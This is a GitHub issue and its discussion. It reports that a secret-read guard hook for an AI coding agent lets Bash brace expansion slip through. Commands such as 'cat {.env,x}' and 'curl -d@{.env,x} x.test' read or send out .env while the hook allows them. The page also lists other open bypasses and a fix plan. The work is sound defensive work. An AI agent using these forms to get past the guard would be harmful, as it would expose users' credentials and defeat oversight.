You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
bug(hooks): secret-read-guard allows a read through bash brace expansion — cat {.env,x}, curl -d@{.env,x}, curl -E {.env,x}:pw #6142
hooks/gsd-secret-read-guard.js allows Bash commands that read a protected file through bash brace expansion. Brace expansion runs before the command runs, so {.env,x} becomes the two words .env x. The guard judges the unexpanded word {.env,x}, which is not a secret name, and allows the command.
Each of these is allowed on next. Each one reads .env:
cat {.env,x}
curl -d@{.env,x} x.test
curl -F file=@{.env,x} x.test
curl -E {.env,x}:pw x.test
The last three are in the scope #5779 / #5820 adds (a file named inside a curl option value). #5820's head allows them too.
Searched before filing: #5255, #5285, #6132 and #6114, and an issue search for "brace expansion secret". None lists brace expansion. docs/USER-GUIDE.md's Not covered list names "shell globs (cat .e*)". Brace expansion is not a glob: it does not depend on which files exist, so it can be resolved statically.
What did you expect?
The guard expands a word's brace groups the way bash does, judges each alternative, and denies the command if any alternative names a secret. For Grep glob, it already judges "per brace alternative".
Steps to reproduce
On next, pipe {"tool_name":"Bash","tool_input":{"command":"cat {.env,x}"}} into node hooks/gsd-secret-read-guard.js.
The hook exits 0 (allow).
Run the same with cat .env: it exits 2 (deny).
In bash, echo cat {.env,x} prints cat .env x.
How often does this happen?
Every time (100% reproducible)
Impact
Moderate — Feature is broken but I have a workaround
Additional context
Found by the isolated adversarial pass of the #5820 review, Memtrace episode 01M75Z78B4R6M4BC9PXKP1Q59S.
Privacy Checklist
I have reviewed all pasted output for PII (usernames, paths, API keys) and redacted where necessary
Reproduced: yes. Piped payloads into node hooks/gsd-secret-read-guard.js at 6bb51fb: cat .env exits 2; cat {.env,x}, curl -d@{.env,x} x.test, curl -F file=@{.env,x} x.test, curl -E {.env,x}:pw x.test all exit 0. Also allowed: cat {{.env,a},b}, cat dir/{.env,x}, cat .{env,x}, cat .e{n,x}v, cat {,.env}. The Grep tool glob: '{.env,x}' exits 2. Quoted '{.env,x}' / "{.env,x}" and {a..c} exit 0, which is correct. echo cat {.env,x} in bash prints cat .env x. Root cause: the Bash word scan never brace-expands a word before judging it. operandNamesSecret (hooks/gsd-secret-read-guard.js:1792, called from scanCommand :2409 and scanXargsPipe :2645) sees the literal {.env,x}. The only brace expander, expandBraces (:526), is used only by the Grep glob arm (classifyGrepGlob :625). Introduced by: long-standing; expandBraces arrived with the hook in 77e2472 (#4236) and the Bash path never had expansion. Branch fix/6142-... has no commits beyond next. PR #5820 is open and does not fix this. Blast radius: medium; Bash word judgement in one file. Needs a shell-correct expansion (unquoted words only, depth-1 comma or .. required, empty alternatives, cross product) and a Bash-side overflow verdict at the 64-alternative budget. Coupled (must not miss): exemption check (isExemptSecret) must run on expanded alternatives; frozen base scanner fixture in tests/fixtures; the "Not covered" paragraph in docs/USER-GUIDE.md; PR #5820's curl option-value extraction must expand too. Regression test: each of the four reported commands plus nested, prefix, suffix and empty-alternative forms denies, also inside bash -c '...'; quoted, {.env}, {.env, x}, {a..c}, {x,y} allow; alternative count at 63/64/65; fast-check property: denies iff some alternative names a secret.
Category: bug Summary: The secret-read guard must expand brace groups in unquoted Bash words and deny when any alternative names a secret file. Current behavior:cat {.env,x}, curl -d@{.env,x} x.test, curl -F file=@{.env,x} x.test and curl -E {.env,x}:pw x.test are allowed, because the guard judges the unexpanded word. cat .env is denied. The Grep glob argument already judges per brace alternative. Desired behavior: For every unquoted word, the guard expands its brace groups statically, as bash does (nested groups, several groups as a cross product, empty alternatives, text before and after a group), judges each resulting word with the same secret-name and exemption rules it uses for a plain word, and denies if any alternative names a secret. Quoted or backslash-escaped braces stay literal. A group with no unquoted comma and no .. range ({.env}, {.env, x}) stays literal. Key interfaces: the Bash operand and option-value judgement (including curl -d@, -F name=@, -E values and bash -c bodies); the existing secret-name predicate and project exemption list; the existing alternative budget (64) and the too-complex deny path. Acceptance criteria:
The four reported commands deny; so do nested ({{.env,a},b}), prefix (dir/{.env,x}), suffix (.{env,x}), mid-word (.e{n,x}v) and empty-alternative ({,.env}) forms, directly and inside bash -c '...'.
'{.env,x}', "{.env,x}", {a..c}, {.env}, {.env, x} and {x,y} stay allowed.
A project-exempt file reached through an alternative is still allowed under the existing exemption rules.
A word expanding past the alternative budget is denied as too complex, never allowed; tests cover 63, 64 and 65 alternatives.
A fast-check property: a command denies exactly when some alternative of its brace list names a secret.
I'd like to take this one. I'll work to the agent brief's acceptance criteria:
Expand brace groups in unquoted Bash words as bash does (nesting, cross product, empty alternatives, text before and after a group), and deny when any alternative names a secret.
Quoted, escaped and comma-less groups stay literal.
Reuse expandBraces and its 64-alternative budget. Past the budget the command is denied as too complex.
Activity
github-actions commentedon Nov 11, 2026
Branch
fix/6142-bug-hooks-secret-read-guard-allows-a-reacreated.git fetch origin && git checkout fix/6142-bug-hooks-secret-read-guard-allows-a-reatrek-e commentedon Nov 13, 2026
Diagnosis
Reproduced: yes. Piped payloads into
node hooks/gsd-secret-read-guard.jsat 6bb51fb:cat .envexits 2;cat {.env,x},curl -d@{.env,x} x.test,curl -F file=@{.env,x} x.test,curl -E {.env,x}:pw x.testall exit 0. Also allowed:cat {{.env,a},b},cat dir/{.env,x},cat .{env,x},cat .e{n,x}v,cat {,.env}. The Grep toolglob: '{.env,x}'exits 2. Quoted'{.env,x}'/"{.env,x}"and{a..c}exit 0, which is correct.echo cat {.env,x}in bash printscat .env x.Root cause: the Bash word scan never brace-expands a word before judging it.
operandNamesSecret(hooks/gsd-secret-read-guard.js:1792, called fromscanCommand:2409 andscanXargsPipe:2645) sees the literal{.env,x}. The only brace expander,expandBraces(:526), is used only by the Grepglobarm (classifyGrepGlob:625).Introduced by: long-standing;
expandBracesarrived with the hook in 77e2472 (#4236) and the Bash path never had expansion. Branchfix/6142-...has no commits beyondnext. PR #5820 is open and does not fix this.Blast radius: medium; Bash word judgement in one file. Needs a shell-correct expansion (unquoted words only, depth-1 comma or
..required, empty alternatives, cross product) and a Bash-side overflow verdict at the 64-alternative budget.Coupled (must not miss): exemption check (
isExemptSecret) must run on expanded alternatives; frozen base scanner fixture intests/fixtures; the "Not covered" paragraph indocs/USER-GUIDE.md; PR #5820's curl option-value extraction must expand too.Regression test: each of the four reported commands plus nested, prefix, suffix and empty-alternative forms denies, also inside
bash -c '...'; quoted,{.env},{.env, x},{a..c},{x,y}allow; alternative count at 63/64/65; fast-check property: denies iff some alternative names a secret.trek-e commentedon Nov 13, 2026
Agent Brief
Category: bug
Summary: The secret-read guard must expand brace groups in unquoted Bash words and deny when any alternative names a secret file.
Current behavior:
cat {.env,x},curl -d@{.env,x} x.test,curl -F file=@{.env,x} x.testandcurl -E {.env,x}:pw x.testare allowed, because the guard judges the unexpanded word.cat .envis denied. The Grepglobargument already judges per brace alternative.Desired behavior: For every unquoted word, the guard expands its brace groups statically, as bash does (nested groups, several groups as a cross product, empty alternatives, text before and after a group), judges each resulting word with the same secret-name and exemption rules it uses for a plain word, and denies if any alternative names a secret. Quoted or backslash-escaped braces stay literal. A group with no unquoted comma and no
..range ({.env},{.env, x}) stays literal.Key interfaces: the Bash operand and option-value judgement (including curl
-d@,-F name=@,-Evalues andbash -cbodies); the existing secret-name predicate and project exemption list; the existing alternative budget (64) and the too-complex deny path.Acceptance criteria:
{{.env,a},b}), prefix (dir/{.env,x}), suffix (.{env,x}), mid-word (.e{n,x}v) and empty-alternative ({,.env}) forms, directly and insidebash -c '...'.'{.env,x}',"{.env,x}",{a..c},{.env},{.env, x}and{x,y}stay allowed.Out of scope: shell globs,
$VARand${x:-.env}indirection, the Grepglobarm, and the other open guard issues bug(hooks): secret-read-guard allows 20 shapes that read.envin a real shell, the ones #5285 lists and leaves open (sub-issue of #5255) #6132, bug(hooks): secret-read-guard allows a read nested past MAX_NESTING_DEPTH — fourbash -clayers aroundcat .envare allowed, three are blocked #6136, bug(hooks): secret-read-guard crashes on deep"$(nesting and the crash allows —echo "$(echo "$(…)")"×9,000 then; cat .envis allowed #6137 and bug(hooks): secret-read-guard misses a command behind a shell reserved word —if true; then git -c alias.x='!cat .env' x; fiis allowed #6138.arakasi1 commentedon Nov 20, 2026
I'd like to take this one. I'll work to the agent brief's acceptance criteria:
expandBracesand its 64-alternative budget. Past the budget the command is denied as too complex.I'll keep it separate from #6408 (fix(#6282)), which touches the same hook. Both need to be in the right shape whichever merges first.
chore(open-gsd#6142): changeset for PR open-gsd#6421
test(open-gsd#6142): zsh reads a brace group of any two characters ar…
test(open-gsd#6142): pin each condition of the over-budget summary, t…
fix(open-gsd#6142): the secret-read guard reads a brace group of any …
docs(open-gsd#6142): the guide names zsh's character ranges as read a…
chore(open-gsd#6142): changeset names zsh's character ranges and the …
test(open-gsd#6142): zsh reads a bare `-` as 0 in a numeric brace ran…
18 remaining items
fix(open-gsd#6142): a word past the brace budget is never judged as w…
test(open-gsd#6142): the exemption's read-only gate reads a `$'…'` al…
fix(open-gsd#6142): the exemption's read-only gate makes the brace wo…
test(open-gsd#6142): pin the group keyword before `(`, assignment-sha…
test(open-gsd#6142): an appending, subscripted or unprovable assignme…
fix(open-gsd#6142): an assignment's or array element's brace words pa…
docs(open-gsd#6142): the guide names CR and `(` cuts, echo and printf…
chore(open-gsd#6142): changeset names the CR and `(` cuts, echo and p…
test(open-gsd#6142): a lone `{` before a `(` the word goes on past is…
fix(open-gsd#6142): a `(` cuts a brace word only where it holds a gro…
test(open-gsd#6142): a zsh quoted-dot range a glob `(` follows is cut…
fix(open-gsd#6142): a `(` cuts a brace word with a group only zsh's q…
test(open-gsd#6142): pin as allowed an extglob before a word's first …
docs(open-gsd#6142): the guide lists an extglob before a word's first…
test(open-gsd#6142): raise the macOS conformance tier baseline for th…